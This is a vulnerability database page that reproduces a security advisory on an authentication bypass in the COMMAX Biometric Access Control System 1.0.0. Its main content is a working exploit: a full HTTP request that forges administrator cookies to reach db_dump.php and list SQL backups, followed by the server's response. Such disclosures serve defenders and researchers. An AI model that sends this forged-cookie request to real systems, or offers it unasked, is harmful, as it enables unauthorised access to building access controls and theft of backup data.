Vulners
Lucene search
COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass Vulnerability
# Exploit Title: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com
COMMAX Biometric Access Control System 1.0.0 Authentication Bypass
Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.0.0
Summary: Biometric access control system.
Desc: The application suffers from an authentication bypass vulnerability.
An unauthenticated attacker through cookie poisoning can bypass authentication
and disclose sensitive information and circumvent physical controls in smart
homes and buildings.
Tested on: nginx/1.14.0 (Ubuntu)
MariaDB/10.3.15
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5661
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php
02.08.2021
--
The following request with Cookie forging bypasses authentication and lists available SQL backups.
GET /db_dump.php HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/user_add.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Aug 1984 14:07:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 10316
<!DOCTYPE html>
<html class="no-js" lang="ko">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>::: COMMAX :::</title>
...
...
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Aug 2021 00:00Current
0.8Low risk
Vulners AI Score0.8